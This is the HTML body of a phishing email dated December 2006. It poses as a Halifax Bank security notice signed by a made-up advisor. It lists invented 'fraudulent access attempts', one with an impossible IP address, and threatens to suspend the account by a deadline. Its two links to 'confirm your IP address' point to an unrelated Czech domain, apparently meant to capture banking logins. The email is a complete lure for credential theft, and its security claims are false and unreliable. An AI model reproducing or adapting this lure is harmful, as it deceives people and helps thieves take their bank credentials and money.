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                <p align="right"><b><font color="#000099">December 2006</font></b></td>
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                                                Dear Customer,</p>
                                                <p align="left">In the last few days,  our security 
                                                systems have detected several fraudulent access attempts 
                                                into your online banking account from several 
                                                blacklisted and unknown IP  addresses. All these 
                                                access attempts have been unsuccessful.<br>
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                                                <u><font color="#000099"><b>FRAUDULENT ACCESS ATTEMPTS</b></font></u><font color="#003366"><u><b>:</b></u></font></p>
                                                <p align="left">Below is a list of all access attempts 
                                                into your online banking account and their likely 
                                                countries of origin. This data was generated by our 
                                                security systems on  5th of December 2006:</p>
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                                                                Date</b></td>
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                                                                IP Address</b></td>
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                                                                Likely Country Of Origin</b></td>
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                                                                Number of Attempts</b></td>
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                                                                <td width="145">November 25,2006</td>
                                                                <td width="134">216.76.90.43</td>
                                                                <td width="176">UK</td>
                                                                <td width="143">7</td>
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                                                                <td width="145">November 27,2006</td>
                                                                <td width="134">216.89.242.90</td>
                                                                <td width="176">UK</td>
                                                                <td width="143">3</td>
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                                                                <td width="145">November 27,2006</td>
                                                                <td width="134">86.98.213.89</td>
                                                                <td width="176">India</td>
                                                                <td width="143">3</td>
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                                                                <td width="145">November 30,2006</td>
                                                                <td width="134">60.34.87.98</td>
                                                                <td width="176">Egypt</td>
                                                                <td width="143">4</td>
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                                                                <td width="145">December  01,2006</td>
                                                                <td width="134">81.67.123.80</td>
                                                                <td width="176">Pakistan</td>
                                                                <td width="143">7</td>
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                                                                <td width="145">December  03,2006</td>
                                                                <td width="134">216.67.90.81</td>
                                                                <td width="176">UK</td>
                                                                <td width="143">2</td>
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                                                                <td width="145">December  05,2006</td>
                                                                <td width="134">217.567.89.80</td>
                                                                <td width="176">Egypt</td>
                                                                <td width="143">4</td>
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                                                                December  05,2006</td>
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                                                                81.199.214.84</td>
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                                                                Pakistan</td>
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                                                <p><u><font color="#000099"><b>CONFIRMATION YOUR IP 
                                                ADDRESS:</b></font></u></p>
                                                <p align="left">As a result of this unusual access 
                                                attempts into you online banking account, <b>Halifax 
                                                Bank plc</b> requires you to confirm your IP address. 
                                                Periodic IP address confirmation enables us to further 
                                                protect your online banking account from unauthorized 
                                                access. <b>
                                                <a href="http://www.okor.cz/anketa/db/index.php?halifax.co.uk">
                                                <font color="#000099">Please click here to proceed with 
                                                your IP address confirmation</font></a></b>.</p>
                                                <p><font color="#000099"><u><b>
                                                IMPORTANT NOTICE:</b></u></font></p>
                                                <p align="left">Please note that failure to confirm your 
                                                current IP address before December 14, 2006,  will 
                                                lead to the <b>SUSPENSION</b> of your online access. A 
                                                new Access Code will be sent to you by post with which 
                                                enable you reactivate your online banking service 
                                                access. To avoid this please<b><font color="#000099">
                                                <a href="http://www.okor.cz/anketa/db/index.php?halifax.co.uk">
                                                <font color="#000099">confirm your current IP address</font></a></font></b></p>
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                                                <p><b>Brown T. Williams,<br>
                                                Online Security Advisor,<br>
                                                Halifax Bank PLC.</b><br>
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                                                <p><font color="#000099"><u>
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                                                SAFE ONLINE BANKING TIPS:</b></u></font></p>
                                                <p> It is important for you to take steps to protect 
                                                yourself online.</p>
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                                                        <p align="left"> Protect your password and security 
                                                        details (treat them like you do your bank card PIN 
                                                        number and NEVER disclose them to anyone).<br>
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                                                        <p align="left">Keep your operating system and 
                                                        browser up-to-date. Newer versions have higher 
                                                        levels of internal security.<br>
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                                                        <p align="left">Keep your anti-virus and firewall 
                                                        software up-to-date. Discounted software is 
                                                        available to all our customers who are registered 
                                                        for our online service.<br>
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                                                        <p align="left">Take advantage of a free Windows 
                                                        security patch available at <a href="http://www.microsoft.com/security">
                                                        <font color="#000099">www.microsoft.com/security</font></a>
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                                                        <p align="left">For the latest Microsoft alerts on 
                                                        new patches please visit:
                                                        <a href="http://www.microsoftcom/security/bulletins/alerts">
                                                        <font color="#000099">
                                                        www.microsoftcom/security/bulletins/alerts</font></a>
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                                                        <p align="left">Only use trusted PCs, i.e. at home 
                                                        and work. Please be extra vigilant when using the 
                                                        online service outside the security of your own 
                                                        home, for example at public internet access points 
                                                        like internet cafes, libraries etc.<br>
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                                                        <p align="left"> Make sure you sign off properly by 
                                                        selecting the &#180;sign off&#180; button when you have 
                                                        finished using our site.
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      <p><u><b><font color="#000099">NOTE:</font></b></u><font color="#C0C0C0"><br>
  </font>You will be prompted to login to you account. Please ensure that you do 
                not do this in a public internet cafe.</p></td> 
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